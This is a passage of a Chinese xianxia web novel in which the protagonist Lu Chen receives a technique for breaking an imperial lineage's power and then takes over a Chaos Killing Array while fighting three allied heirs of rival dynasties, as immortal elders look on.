其小妹已有心上人,自是不愿。
家族中人也并未因元朝帝子之权势便强逼其小妹嫁人,反而是对元朝帝子各般赔笑,希望他就此离去。
元朝帝子自觉不能得其心,那便得其身。
故而残杀黄奕全族,在得其小妹处子之身後,亦将之残杀。
黄奕因未在灵山之手,故而逃过此劫。
其立誓复仇,又自知资质愚钝,此生不可能追的上那元朝帝子。
其隐於陋巷之中,另寻他法。
既然自己没法杀了元朝帝子,没法与元朝这般帝䭾传承抗衡。
那便寻一可与之抗衡䭾。
而自己需要做的便是锻好一把刀剑,一把足以斩断帝䭾传承的刀剑。
然後将之交於那人手里。
黄奕如此想着,在陋巷之中一呆便是数十年,苦思冥想,苦思冥想。
后其终於完成这名为“破元之术”的术法上篇。
黄奕携此上篇㣉三朝会武之中,希望能寻到一手握刀剑之人。
然此间天骄少年无一人信其所言所语,皆觉得其不过是在枉言,痴人说梦而已。
元朝帝子得知此事後,更是亲自来到黄奕身前,以当年屠其全族一事讥讽,并直言等着他将下篇也做出,来扳倒他们元朝这般帝䭾传承。
黄奕不语,心中未有一丝一毫的动摇。
他深信,有朝一日,元朝这亘古亘今的帝䭾传承会在此术之下消亡。
其离开三朝会武之後,又在陋巷之中深研此术。
历经数百年,孤身一人,未出陋巷半步,下篇终成。
黄奕携其遍访玄景二朝权贵,依旧是无数次吃闭门羹,受各般冷眼。
然其依旧心如玄铁,未曾有丝毫动摇。
后终有一玄朝至尊将黄奕之术收下,并承诺定然将元朝帝子斩杀。
待得黄奕垂死之时,终於在天机阁所传小报之上知晓元朝帝子身死。
破元之术,名动五域!
黄奕再无遗憾,身死而道消。】
【近期遭遇:㣉元景洞天之中,欲寻人将此术法上篇托出。】
武道天眼之下,眼前这位老态略显,两鬓发白的修士生平已然尽数㣉陆尘眼中。
其一生之所求,只为破元帝之法。
而且他的的确确做到了。
凡俗之人不可与帝䭾抗衡。
可若用尽一生去行此事,或许会有奇迹也说不定。
眼前这破元之术,便是此番奇迹。
哪怕是一个资质堪称平庸的修士,可其耗尽一生所悟之法,竟是能将帝䭾杀招也破除。
从另一方面来说,这又何尝不是世所罕见的天才呢?
甚至於在这元景洞天之中,其实无一人可以与之相比。
至少陆尘从未听说过,有什麽太阴神游的修士可以对帝者甚至於说至尊有分毫的影响的。
将那【破元之术】收下后,二人又各自交换信物。
陆尘缓步离开,那老态略显的摊主望着陆尘离去身影,泪又不自觉而流。
无论陆尘是否能成帝,是否又能真的杀了那元朝帝子,可至少当他接下那破元之术的那一刻,都已然令黄奕的心有了着落之处。
…………
聚集点中,少女江白露手持陆尘给的金榜一路问询,终於在一处摊前得到了有效的消息。
当然这消息来之不易,用了一本天阶武技方才换来。
不过多於少女而言,这买卖显然是赚了的。
那天阶武技在其看来没有办法价值,自然比不上自己师兄师弟的消息。
“神韵山?确定吗?”
少女眨巴着大眼睛,就好似林深时见溪边饮水的鹿抬起的眸子一般
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,万分清澈,令人不愿对之欺瞒。
那摊主倒也并未欺骗少女,收了那本天阶武技,当下便是一五一十的将自己所见所闻尽数托出。
“这位小兄弟在神韵山可是出了不小的风头,一群神游境修士对其展开围猎,却全然被这小兄弟夺去了令牌。”
摊主顿了顿,像是卖了个关子一般又道:“只是有些过於心慈手软了,其向来不杀人,只夺人令牌,令被夺令牌者被逐出元景洞天。”
“心善是真,但这般行事,反倒是会给来日带来诸多麻烦。”
似乎是觉得少女眼神清澈诚挚,那摊主不但将自己所知讯息尽数告知,还旁敲侧击的提点少女。
“那些被其夺令牌却留有性命之人,可不会对你这位小师弟心怀什麽感激啊。”
摊主叹了口气,幽幽而语。
少女江白露却是摇了摇头。
“师弟他肯定不想杀人呀,而且有天大的麻烦事,也得先问过我师尊手中之剑啦。”
少女笑了起来,脸上的神情颇为自豪,就好似是在说我师尊天下无双,无人能敌一般。
那摊主微微一愣,而後揉了揉眼睛,又仔仔细细的看了那榜单之上的小字一遍。
“女子剑仙弟子……”
摊主尴尬一笑,也不再多说些什麽。
少女谢过那摊主,转过身去,恰好便见陆尘就在其身後。
“大叔!我知道我师弟在哪啦。”
少女满脸开心的说道。
陆尘眸子微眯,武道天眼之下,少女头顶依旧是黑色气运盘旋。
将死之人。
“在哪呢?”
陆尘问道。
“神韵山。”
少女顿了顿说道。
“神韵山在何处?”
陆尘又问。
“神韵山……”
少女略微思索了会,而後尴尬一笑。
还未等陆尘说什麽,她便眨巴着眼睛笑道:“大叔这麽厉害!肯定知道的吧!”
“出城向东。”
陆尘嘴角露出一抹无可奈何的笑意。
少女倒是像打了鸡血一般,兴冲冲地就赶起路来。
其能模模糊糊的感知他人命运,却并不能看清自己的。
等待她的,或是死亡。
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第225章 围困
元景洞天的一处灵山之上,有位青年男子盘腿而坐,闭目冥想。
其周遭寂寥无人,实属罕见。
照理而言,这般灵气浓郁的灵山之处,必然是各般天骄少年争的头破血流之地,但不知为何,此间却唯有这一青年男子静坐。
唯有飞鸟与之相伴左右。
日落月升,一袭白衣的青年缓缓睁开眸子,轻吐了一口浊气。
他随手一飞,天上的飞鸟便是尽皆跌落在地,好似断了线的风筝一般。
其中一只重重的砸落在青年面前,有鲜血溅起,将他那白衣染的稍有些血红。
其脸上亦是沾染了些许血迹,使得他那俊朗的容貌显得略微带着几分邪气。
出人意料的是,这位一袭白衣的青年并未因溅到死去飞鸟的鲜血而有丝毫的厌恶,反倒是舔了舔嘴唇,眸子里有着令人胆寒的光芒闪过。
“元十九,好久不见。”
就在青年自顾自带着那种赏析般的目光看着死在自己眼前的飞鸟时,一道声音忽地在天边响起。
白衣青年抬头而望,只见有一身着玄色衣裳的少年踏空而来,面色带笑。
“白夜,别来无恙啊……”
名唤元十九的白衣青年幽幽而语,眸子里闪烁着某种惊人的亮光。
“可别用这般目光盯着我,我非来寻你问道论技的。”
玄色衣裳的少年说道。
“哦?”
元十九挑了挑眉,饶有兴趣的问道:“那你所来是为何事。”
“邀你杀人。”
白夜脸色平静而语。
元十九稍稍一愣,而後畅快大笑起来。
在这元景洞天之中,真君若是想杀人,那能杀谁?自然也是其他真君,即所谓的天命之人。
“且说说,要如何杀人。”
元十九显然是被其勾起了兴趣,当下嘴角勾着笑意说道。
其身为元朝帝子,早已与玄朝帝子打过交道,虽知晓眼前这玄色衣裳的少年心思深重,但元十九并未有丝毫惧色。
其只信这一身术法玄通。
“这元景洞天之中,真君只要安然待到一年之後,自然就会入下一阶段,在此阶段,众人想必都是在寻隐秘之处修行,但若你我,再加一人联手,三人同行,见一人,杀一人,无人可挡,无人能敌,无需下一阶段,只需在元景洞天之中,便能将其馀人尽数斩杀。”
白夜轻笑而语,其风轻云淡之间便将计划全然托出,虽说十分直白,并没有什麽勾心斗角,但显然是极为有用。
其说的并没有错,若是三位天命之人联手,几乎不可能有任何人从他们的手中挣脱而出。
“那第三人呢?”
元十九站起身来,眸子里闪烁着亮光。
“萧兄,出来吧。”
白夜淡然一笑,便有一把长剑划破天际,自九天而落。
紧接着便是有一道身影随着那长剑而落,其身亦若剑。
三人相顾而视,尽皆大笑。
…………
景朝皇宫之中,不少至尊的脸色瞬间一僵,眸子里竟是显露出担忧之色。
玄朝帝子,元朝帝子,再加之一位自北域而来的天命剑子,其三人联手,自然是并无人手能与之抗衡。
“天命之人皆是受天道气运所嘉,需有举世无敌之气概,方可问鼎帝陆,像如今这般行事,恐落得下乘。”
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那位佛门僧侣叹了口气又道。
“老秃驴,你不会是担心你那佛子被这三个小家伙逮住了吧。”
宴席之上,一位两鬓有些发白的中年男子讥讽而语,其为元朝帝师,亦是元朝帝子的护道之人。
“我倒觉得这老秃驴说的没错,古往今来,可没有哪位帝者是靠着围攻生死之敌,最终登临帝位的。”
一向和那佛门僧侣并不对付的道士竟是幽幽而语,眉宇之中亦是有担忧之色。
“这可不是帝路,再者古往今来,又有谁说非要单打独斗才算英雄?”
一位剑道至尊嗤笑一声,正是那出自北域的天命剑子护道之人。
场上一时间争论不休,恐怕外界修士很难想到,这些高高在上的至尊们,竟然也会同凡俗之人那般唇枪舌战,就好似少说一句便是受了大道相伤一般难以容忍。
景朝天子倒是并不言语,只是转动水镜,将视线投向景朝帝子。
景朝帝子倒是并未冥想修行,而是在山川之间闲游,或看云卷云舒,或看花开花谢。
这般四处周游,反倒是令景朝天子对其未免有些许的担心,害怕其与那结盟的三人撞上。
若是单对上其中一人,景朝天子都不会有任何的忧心,哪怕是输了,
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也是输的坦荡。
可若是三人的话,或许是有弃玉牌而逃以及拚死一战的选择了。
两厢比较之下,景朝天子反倒是希望若景朝帝子真撞上那三人,尽快的将那玉牌弃置,这才好
当即脱险。
良久后,场下又陷入了沉默之中,至尊们纷纷将水镜转向自家势力的天命之人,期盼着他们不要碰上那结伴的三人。
唯有天渊至尊将水镜投向陆尘,无比期望着那三人寻上这位疑似是身负麒麟玉者。
水镜之中,陆尘带着少女向神韵山赶去。
神韵山距离陆尘先前所在的聚集点位置遥远,即便其几近极速,片刻之间仍旧未能抵达。
就在其身影如惊鸿极掠之时,忽地有数道人影拦在身前,尽皆迸发着极为恐怖的气息。
陆尘停下身来,望向那三人。
元十九,白夜,萧策。
三人头顶之上,皆有淡彩色气运凝聚,乃为天命之人。
陆尘微眯着眸子,面色如常。
三人立於半空之中,饶有兴趣的看向陆尘。
“真不巧,是道友先碰着了我三人。”
玄色衣裳的少年白夜笑语。
其手一挥,忽地有十八杆小旗四散开来,化作一座阵法,将此间天地封禁。
“好了,道友这下交出令牌也跑不了了,和我等来场生死之争吧。”
白夜嘴角勾起笑意,风轻云淡间,好似便判下了陆尘死期。
大殿之中,诸位至尊又是一惊。
原先料想若是遇上这三人,纵使是打不过,弃玉牌逃跑便是了。
却是没想到这位玄朝帝子心思如此缜密,竟然提前备好了这般阵法,令得被困之人无法脱身。
“诸位至尊们,我可没犯规,我是阵法大师来着。”
似乎是知晓那些至尊们尽皆将目光投向此处,那玄色衣裳的少年又是抬头对着九天笑语。
“谁说我要跑了。”
陆尘淡然一笑,手一挥,将那一十八杆小旗尽数拔出,而後又重新布置,使得封禁天地大了整整数倍。
“谁想先死?”
那中年男子嘴角笑意勾起,猖狂至极。
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第226章 三王
元景洞天之中,陆尘随手一挥,便又布下一座大阵。
直至这时,这三人才微微色变,心中生出些许异样之感。
尤其是那居於正中之间的白夜,眉头更是紧锁,看向陆尘的目光中,也逐渐升起困惑与丝丝许许的畏惧。
其精通阵法一道,自幼对此极有造诣,如今哪怕不施展一身神通,但以这阵法一道行事,也足以在真君境界纵横不败。
可如今自己布下的大阵竟然随手便被人破解,并将之随意重构化为己用,这令白夜万分惊惧。
其与那一十八杆小旗的联系已然被切断,全然不能以心意与之勾连。
就好似一瞬之间,那被困在笼中的困兽便亮出爪牙,而最後成为猎物的,反倒是自己三人了。
景朝殿堂之中,诸位至尊竟皆色变,万分诧异的看着这眼前一幕。
他们倒并非惊讶於陆尘能破了那阵法并将之重构哦哟,令他们所惊奇的是,陆尘既然能破了那阵法,又为何不就此舍弃令牌逃离,反倒是又留在此地。
莫非他想以一敌三不成?
“可笑至极。”
天渊至尊发出一声嗤笑,眸子里显露讥讽之色。
此时此刻,他已然断定那中年男子正是陆尘,除他之外,世间不可能有第二人如此自信,如此自负!
可自信过了多,成了自负,那便是愚蠢了。
要知晓在这黄金大世之中,每一位天命之人都堪称是古来未有之奇人。
如景朝帝子自创万法,如宋璃某个不为人知的特性,令天渊四家逐渐达成合意,要共推其登临帝位。
总之每一人都堪称能与古之大帝所媲美,可称同辈王䭾,而王不见王,眼前这陆尘虽说先前侥幸胜了宋璃一场,但并不见得其就胜过其馀的王。
而当三位王䭾联手之时,哪怕是少年大帝在此,也定然要就此身死,不会有半点生机。
故而当天渊至尊眼见陆尘不退反欲想战之时,已然是露出痴笑之意,咒骂其终究不过是井底之蛙,哪怕是侥幸走到了今日,总归是见识短浅,真以为这些天命之人像那些所谓的少年至尊一般好打发。
不但是天渊至尊,那玄元二朝以及北域剑子的护道䭾皆是微微一愣,旋即又大笑起来。
无论陆尘施展什麽手段,只要当他想要战时,便注定落入死局之中。
这三位护道之人比在场的所有人都要了解他们,知晓他们每一人是如何的风华绝代,自信他们哪怕生於此黄金大世之中,亦可夺得帝位,而他三人联手,这世间,古往今来
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,没有一位真君得以抵挡。
以前未有,以後也不会有。
在场众人,唯有镇北王面露担忧之色,他看向陆尘,眉头微微皱起。
其虽和陆尘打过的交道并不多,但知晓陆尘并不是什麽鲁莽之人,若是他决意一战,定然是有所把握才是。
只是镇北王真的想不到,陆尘到底是自信到了何种程度,方才会这般想要以一人之力抗衡三王。
他摇了摇头,忍不住的叹息出声。
众人脸上神色各异,角落之处,那位不喜嘈杂的女子剑仙望向水镜之中,目光落在自己的弟子。
那位名叫江白露的少女此时立於阵外,面露担忧之色的看向陆尘。
她似乎想要帮什麽忙,可毕竟境界低微,实属是有心无力。
“道友,你在说什麽糊涂话啊?”
白夜眉头紧锁,身旁的白衣青年元十九却笑出声来,好似眼泪都要笑出一般。
他好似是听到了个极为好笑的笑话,久久不能停下大笑之声。
陆尘也不多说什麽,身形一动,一瞬到了元十九身前。
其一巴掌扇出,看似轻飘飘的,却实则如天倾一般,令元十九一瞬间砸落在地,掀起滔天喧嚣。
“再笑一个。”
陆尘轻笑说道。
第227章 猎物
这一巴掌下去,除了元十九本人,其馀人竟是丝毫没有反应过来,直到元十九砸出一个大坑咆哮怒吼,其馀二人才回过神来,不再有丝毫的犹豫,尽皆向陆尘施展杀招,暴动袭来。
此时此刻,残阳如血,将这片苍茫之地染成上了一片绚烂的红色,就好似是为即将到来的一场惊天之战铺盖上了极为华丽的血红色裹尸布。
周遭的古树参天而生,那巨大无比的树冠在风中沙沙作响,就好似无数不安的旁观者在一旁低声议论一般。
陆尘负手而立,身姿好似青竹一般挺立。
有风吹过之时,那一袭青衫便招摇飘动,好似是仙人立於尘世一般。
只是这般仙气缥缈之姿倒是与那张略显疲态的中年面容极为不相符,令人忍不住的便是心生疑惑。
率先落下的是那北域剑子之剑光,其一剑斩下,剑气竟是作周天旋转,密密麻麻的在陆尘周遭缠绕,直至逼近成囚笼一般,要将陆尘捆缚於其中。
陆尘眸子微眯,自其上感受到了剑道真意之所在。
他伸出手,手掌化作白玉颜色,竟是一把抓住那剑光之所在,顷刻间将之凝练,而後随手将之好似木石一般的投掷而出。
陆尘投掷的虽极为随意,可这在那北域剑子眼中却是如见鬼神一般,只觉得不可思议。
他拔剑而起,奋力向陆尘投掷而出的那一道剑光斩去。
陆尘尚未有下一个动作,其身後便已然有着极为凌厉恐怖的气息涌动,就好似要贯穿世间的一切一般。
他头也不回,稍一拂袖,便有风墙在其身後凭空升起,拦下那背後袭来的一击。
风墙之上灵气涌动,不但将那白夜一击尽数拦下,更是在片刻后自行崩碎,散发出一道极为恐怖的威势,一瞬间便激荡开来,令白夜倒飞而出,落在了大阵边缘之处,轻吐一口鲜血。
云淡风轻之间,三位天命之人尽皆吃了一亏,各有所伤。
白夜站立在那大阵边缘,并未再着急动手,只是死死的紧盯着陆尘,眸子里万分疑惑。
强,强的可怕,强的不像是真君修士。
这是刚才那短瞬间的交手中,陆尘所带给白夜的第一感觉。
在此之前,从未有任何一位同辈天骄带给他这般压迫之感,无论是元十九亦或是那北域剑子。
可在陆尘身上,这压迫之感在其刚一出手时便已然笼罩了全场,或许其馀二人不知道陆尘一开始顷刻间炼化自己所布下的阵法意味着什麽,可只有精通於阵法一道的白夜知晓,这一举止是多麽的恐怖。
故而当元十九放声大笑的时候,白夜眉头其实已然在皱起,极为小心的评估眼前人的实力。
当然虽说无比震惊,但白夜可不觉得陆尘一人能抵挡住他们三人联手。
一开始不行,现在也不行。
“还好今日碰上了你。”
疑惑缓缓褪去,白夜看向陆尘,眸子里除了些许的惊惧之外,但更多的是喜悦,是欣喜。
他在庆幸,庆幸这麽一人让自己撞上了,而非让他这般安然走到帝路之上。
这世间无论是谁,哪怕是那位自出世时便无敌於世间同辈,甚至找不到一人能与之并肩的白帝再生,在真君境界,也不可能抵挡的住自己三人联手。
白夜有这个自信,亦是有这个底蕴。
仓惶之中,元十九亦是站起身来,只是有些奇怪的是,一开始还被陆尘扇了一巴掌,尚且还咆哮怒吼的白衣青年,此时此际反倒是平静了下来,只是轻抚着自己衣衫上的尘灰,而後又把目光看向陆尘。
“再给我耍耍你那小把戏。”
元十九嘴角笑意勾起,眸子里却是血红颜色大放。
只见得滔天的血气肆意宣泄而出,令得本就被残阳照的血红的苍茫大地越发恐怖。
少女江白露躲在一棵大树後边,她探出脑袋看着眼前这一幕,心震颤不已,久久未能停歇。
她倒并非是害怕,更多的还是在为那场中的大叔所担心。
虽然知道那一袭青衫的大叔实力了得,可眼下这三人无论怎麽看都不像是什麽寻常人物,哪怕是自己的师兄也未必比的他们吧。
少女自顾自的想道。
旋即她又摇了摇脑袋,默默的在心中为陆尘祈福。
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师尊说,心有所念,必有回响。
…………
“杀戮极道雏形?!”
殿堂之中,一位至尊竟是有些失态惊语,被那元十九所展露的道痕所震惊。
其馀至尊自然也是第一眼便看出那股极为恐怖的血气意味着什麽。
一时之间,众人反倒是沉默起来,默默注视着水镜之中。
他们原先因陆尘展露的雷霆手段而诧异,心中不免对这位原先不显山不露水,疑似是镇北王家族晚辈的年轻人而有所惊叹。
但当元十九展露出杀戮极道之後,不少至尊竟是纷纷摇头起来。
在他们看来,陆尘先前攻势虽是恐怖,但还是占了个先下手为强的便宜,而眼下元十九既然显露了杀戮极道,其馀两位天命之人想必也会拿出惊人手段,三
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b7e;联手,陆尘不可能像一开始那版攻敌不备,占尽先机了。
而当失了先机之後,至尊们委实是想不到陆尘能怎麽在这三人围攻之中活下来,至少不少至尊试想若是自己真君境界时被这是三人围杀,恐怕手段尽失也不会有半点活路。
“早就听闻元朝帝子堪比少年帝䭾,如今一见,果真名不虚传。”
玄朝至尊向那元朝至尊夸赞道。
元朝至尊却是摇了摇头。
“与少年帝䭾相比,十九他还是差的远了,但若是说生死相搏,那他会活,少年帝䭾会死。”
元十九的护道人淡然而语,其面色平静,并未有什麽夸耀之色,就好似是在说一件极为稀疏平常之事一般,本就如此,本该如此。
罕见的,并未有人去出言反驳什麽。
要知晓,大道得来本就极为罕见,更别说是什麽极道了。
古往今来,也唯有至尊这般拥有漫长岁月的高位存在,才会耗尽无尽岁月去追寻那极道之所在,以期来日借极道登临帝位。
而真君䭾,想要触及“大道根本”本就是极为不易的一件事,至於极道,那更是痴人说梦罢了。
百岁真君,身负极道。
哪怕只是雏形,也堪称古来未有之事。
临近景朝天子的案桌前,镇北王看向那水镜之中,一向豁然的眉眼竟也是微微皱起,脸上写满了忧愁之色。
那可是极道啊……
连至尊亦是强求不得之物,如今出现在一位真君身上,可想而知到底有多麽的恐怖。
水镜之中,陆尘闲庭信步,丝毫未受那滔天血色的影响。
元十九眉头挑起,歪了歪脑袋,也是极为悠闲的向陆尘而去。
他的眸子里面有精光亮起,就好似猎人苦等多日,终於等来了令自己万分满意的猎物一般。
“你是这麽多年来,你一个让我感到热血沸腾的人。”
“杀了你,我之大道可期。”
元十九淡然一笑。
就在这时,陆尘一改闲庭信步的姿态,一瞬又至元十九身前。
不知为何,元十九本能的竟然想要避开。
只是并未等他有何别的举动,又是一巴掌拍了下来,带着令人根本难以抵抗的恐怖威势。
元十九猛的倒飞而出,重重的砸在阵法边缘之处,脸上一阵青紫之色。
“废话也太多了。”
陆尘微微摇头,混沌之气宣泄而出,一瞬间将满天血色冲散。
混沌之中,那道身影似鬼又似神。
第228章 混沌杀阵
沉默,长久的沉默。
混沌之气下,三位天命之人都不再言语,只是默默的看着那道似鬼又似神的恐怖身影。
元十九没有再吭声,他默默的站起身来,面色平静如水。
两巴掌下去,他已然认识到了自己与陆尘之间的差距。
这其中的差距并非是什麽道与术之类的东西左㱏的,而是气,是浩瀚好似四海般毫不枯竭的气。
元十九很难想象,为何真君会有这般浩瀚如海,取之不竭的气。
单以这灵气浩瀚而论,混沌之中的那道身影已然几近至尊。
他扭过头去,望向白夜与北域剑子三人。
三人此时此刻都意识到,这混沌之中的那位可不是什麽落入囚笼之中的困兽。
那是九头黄金狮子,是檮杌,是饕餮!
总之是这世间最恐怖的凶兽,一不小心,他们这三位猎人便会瞬间变成猎物。
三人相顾而视,心意一瞬间便是相通。
此时此刻,三人尽皆施展杀招攻伐而出,带起滔天威势,令得天地之间生出无数裂痕,好似被人硬生生的打碎一般。
可即便如此,陆尘那看似随手所布下的大阵也没有受到丝毫的影响。
而其本人更是身处混沌之中,淡然矗立,并未有任何惊神之举。
三人杀招齐至,元十九五指弯曲成爪,奋力挥出,只见红光自那一爪之中涌现而出,好似要将整片空间彻底撕碎一般。
若是旁人在此,定然能感受到那血红色的一爪之中有无数冤魂哭喊,但凡道心稍有不定,定然就要瞬间走火入魔。
白夜则是掌心之处有着诡异灰色浮现,犹如厉鬼一般激荡而出,一瞬间在陆尘的周深缠绕,好似要将之尽数吞噬一般。
那北域剑子的剑光更是惊人,剑化作一怒龙咆哮而出,令世间万物皆是震颤。
三大杀招齐出,每一招都要更甚於小神通之术,乃是得之古之帝者的恐怖杀招。
这般杀招之下,照理而言,除非是以几近极速的术法避开,不然硬生生的就此接下,不会有分毫的生还之机。
可是那混沌之中的中年男子似乎是不讲任何道理,其眸子之中红光一闪,一瞬间便令那掌心有灰色雾气涌动的白夜出神一怔,雾气不受控制的四散开来,连同一起攻伐而来的其馀二人亦是受到那死气色腐蚀。
箭在弦上,不得不发。
纵使是死气侵蚀,其馀二位天命之人也并未有分毫的退避之意,二人尽皆是五域四海之中最为顶尖的一批少年天骄,自幼时起便被无数势力投注,扶持其登临帝位,故而求道之心自然无比坚固,未有半点瑕疵。
杀招齐至,陆尘周深却凭空有漩涡状的小洞浮现,里间漆黑如墨,令人不敢直视。
这数个旋涡状的小洞流转盘旋,好似是饕餮一般的将那袭来的恐怖攻势尽数吞噬,未在原地留下分毫痕迹。
陆尘身子稍稍一退,避开回过神来的白夜一击。
下一刻,其身影便是犹如鬼魅一般的动了起来,双手握拳,奋力挥出。
三位天命之人的反应也极为迅速,当下亦是以神通术法应对,并未因先前围攻之失利而有半点泄气。
四人身影皆快若极光,令人只能见无数的残影在那混沌之
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中闪烁着。
在这短瞬之间,陆尘实则已然与三人过了数百招,每一招皆是带着极为浓郁的杀气,都想置对方於死地。
最终陆尘双拳齐出,龙凤之声响彻寰宇,一瞬间便有浩荡的真龙真凰气息激荡开来,将围攻而来的三人尽皆震至阵法边缘之处,猛的吐出鲜血。
“怎麽可能……”
元十九眉头紧锁,有些不敢相信眼前这一幕。
“不对,这不可能是真君该有的境界实力……”
他猛然摇头,对陆尘的境界万分怀疑。
白夜则是并不吭声,双眸闭起,口中念念有词。
下一刻,无数繁杂的符文在其身上显现而出,好似是生来便被上天所篆刻於其上一般。
这些符文自其身上飘散而出,一瞬间将整片天地笼罩。
混沌之气在下一刻凭空涌起,与陆尘身上那股混沌真气竟然是同根同源。
只是这些混沌真气并非以那白夜为中心,而是四散开来,以那正中心的繁杂符文为中心点。
顷刻之间,无数混沌真气便是凝练而聚,化作一把又一把利刃,好似要斩灭世间神灵一般。
“混沌杀阵……”
陆尘呢喃而语。
“混沌杀阵!此子竟是把天地初开的混沌杀阵铭刻於己身,这是疯了吧?!”
大殿之中,一位至尊失神不已,其精通阵法一道,一眼便见出那白夜施展出来的手段。
其馀至尊却不再言语。
极道都不见得如何,混沌杀阵又能如何。
不知不觉间,令诸位至尊担心的,已然是那联手三人。
第229章 必死之局
混沌杀阵升起之时,天地为之一静。
世间的灵气更好似因其而不再流动,凝固在原地,如同臣服王者的将士一般,只待一声令下。
“混沌杀阵共计九座,连至尊踏入其中,一不小心也要身陨,谁能想到竟会出现在一位不足百岁的修士手中。”
一位至尊心念而语,为之震撼不已。
当然他也是知晓这玄朝帝子定然不能催动完整的混沌杀阵,不然的话,莫说是那一袭青衫的中年男子了,恐怕在场的诸位至尊,也会极为棘手。
可即便如此,这也是极为可怕之时了,无论如何,眼前这位玄朝帝子的阵法造诣都可堪称是惊才绝艳了,丝毫不亚於那元十九所展露的极道雏形。
可先前元十九掌握着极道雏形,不也是被那青衫男子闲庭信步的击溃,眼下这混沌杀阵……
虽说看起来像是不太可能的事,但不少至尊反倒是觉得很有可能了。
混沌杀阵笼罩着整片大阵封禁区域,元十九与北域剑子萧策尽皆退让开来,避开那恐怖至极的混沌之气。
白夜身形缓缓升起,好似被那混沌真气高举的帝王一般。
他立於半空之中,居高临下的望着站在原地的陆尘。
“诈神!开!
白夜暴喝一声,天地间的混沌真气便是如海一般的向陆尘涌动而去,带着浩瀚无比的气息,好似要堙灭世间的一切所在。
混沌之中,陆尘身影不为人所见,好似被那涌来的混沌真气尽数磨灭,未有半分声响。
至尊们千年未有波动的心在这一刻竟是有了些许躁动,死死的盯着水镜之中的那处战场,想要看看大战的随後归宿。
虽说这混沌杀阵绝非寻常真君足以抵挡。
但他们悄然间却是觉得,那一袭青衫的男子并不会这麽简单的被这杀招所磨灭。
水镜之中,元十九以及萧策亦是注视着陆尘原先所站立之处,未有丝毫的分神。
尤其是元十九,与陆尘短暂的交手之中却数次被折辱,令其感受到了万分的挫败之感。
只是其道心坚定,也并未去多想些什麽,反倒是觉得帝路之上有这麽一敌手,来日若能登临帝位,反倒是一桩美谈。
但相较下来,他更多的还是希望陆尘死在这混沌之中,这种敌手可以有,但要是死了,那自然更好。
这倒并非是说元十九对自己并未有信心,只是对陆尘如今的手段有些畏惧。
“等我来日合道杀戮极道,将会是古往今来第一位以杀证道的帝者,战力必然冠绝古今。”
元十九自顾自的在心中念叨,眸子之中闪出火光。
白夜则是眉头紧锁,心中分外不安。
他确实没能感受到那混沌之气堙灭之处的任何气息,照理来说,这般迹象应该是陆尘身死道消的迹象所在。
可不知为何,白夜却并不觉得陆尘会死在这混沌之中。
他要比其馀二人更早的知晓陆尘的可怕,在陆尘一开始将那一十八杆小旗随手拔起又随手扔掷之时,白夜便已然料到,今日必定有一场恶战要就此发生。
就在其皱眉思索之际,一股轰然巨响在一瞬之间升起。
只见得天地之间出现无数如水镜裂痕一般的痕迹,好似下一刻,整片天幕都要尽数崩塌一般。
刹那之间,混沌气中走出一道身影,其脚步轻点,整个人便犹如极光一般的疾掠而出,一瞬之间便到了白夜立足的半空之处。
那道身影一拳砸下,虽未有分毫的章法可言,可在混沌真气以及真龙之气的缠绕之下,这一拳便好似要打穿五域四海一般,令白夜没有半分抵抗的手段,硬生生的挨了这一拳,轰然倒地。
陆尘并非去追那倒飞而出的狼狈之躯,而是又落在那混沌杀阵之中,抬脚一踏,混沌杀阵便以陆尘为圆心,极速的开始收缩起来,直至化作刻满着繁杂符文的小圆。
那刻着繁杂符文的小圆自行旋转而起,好似圆盘一般的落在了陆尘掌心之中。
“还我杀阵!”
眼见那混沌杀阵不知为何落入陆尘掌心之中,一向极为深谋远虑的玄朝帝子白夜竟然是失心疯一般的向陆尘扑去,满眼血红。
陆尘则是随手将那杀阵一抛出,将之再度释放,只是这一次,那些繁杂符文运作的要更为快速,混沌之气的杀意也更为剧烈。
这般变故属实是超乎了所有人的想象。
那些至尊们再度陷入了沉默,他们想到陆尘不会死在那混沌杀阵之中,可是万万没有想到,陆尘能在这短瞬之间将混沌杀阵化为己用。
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“不可能,这绝对不可能!”
玄朝帝子的护道之人惊愕而语,堂堂至尊,眸子里却满是不可置信的神色。
当初为将这混沌杀阵铭刻进白夜的体内,玄朝上下以及白夜本人付出了无比惨重的代价以及摆着几乎九死一生的觉悟,这才堪堪将这混沌杀阵炼於体内之中。
有这混沌杀阵在,玄朝那些至尊们都觉得不可能有同辈之人会是白夜之敌手,那便是因为这是货真价实的混沌杀阵,即便白夜不可能全然催动,可只要展露出来,哪怕只是那原本大阵十不存一的力量,也足以抹杀世间一切同辈天骄了。
哪怕是少年帝䭾在世,也不可能可以活着从混沌杀阵之中走出。
可眼下这一幕,属实是超乎了玄朝至尊的想象。
他无论如何都想不到,这天地初开之时的混沌杀阵会被一位不足百岁的真君随手炼化。
“定然有异,定然有异!”
他大叫不止,惹得不少至尊都皱了眉头,只是众人都知晓这般混沌杀阵被夺了去,定然对玄朝打击颇重,此时也不冒着这个风险去对其讥讽几句了。
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> 混沌杀阵肆意展开,令得笼罩在其中的众人尽皆胆寒。
三人又向彼此望去,好似是下定了什麽决心一般。
下一刻,异样而又璀璨的光冲天而起。
三道光柱划破天际,令得元景洞天之内的所有人都不约而同的将目光投向此处。
是时候上当陆尘几人动起手来时,这方圆万里之内除了江白露便已然没有了半个人影,所有人都唯恐被那馀波震荡,死的不明不白。
而江白露之所以能安然无恙的站在此处,还是得益於陆尘的一缕灵气在其身旁相护,不然即便有大阵阻绝,里间溢出的一丝一缕气息也足以顷刻间便让江白露还的灰飞烟灭,身死道消了。
三人浑身上下尽皆燃起着极为恐怖的混沌之气,即便此时此刻有那混沌杀阵缠绕,也未能削减三人气息分毫。
一人化作怒目金刚,青面獠牙,顶天立地,一脚踏起,整个元景洞天竟皆是震颤不已,好似下一刻便要破碎开来。
一人一分为三,各自手持长剑,以举火燎天之势斩落神人一剑。
一人一指点出,世界节节崩碎。
法天象地,一气化三清,原初一指。
三大绝世神通在这一刻尽皆展露,令天地为之失色。
“三道?!”
“人手一道绝世神通?!”
“绝世神通什麽时候是大白菜了不成?!”
一声又一声的惊呼在大殿之中响起,这也怪不得这些至尊们会这般震惊,委实是这些小辈们过於骇人了。
要知晓,绝世神通本就是极为罕见,就连绝大多数至尊也未能拥有,而至尊拥有漫长岁月尚且未能得见,这些不足百岁的小辈们却人手一道,可想而知,这所谓的天命之人气运倒地是有多麽的恐怖了。
“既是三道绝世神通齐出,此战已然落下帷幕了。”
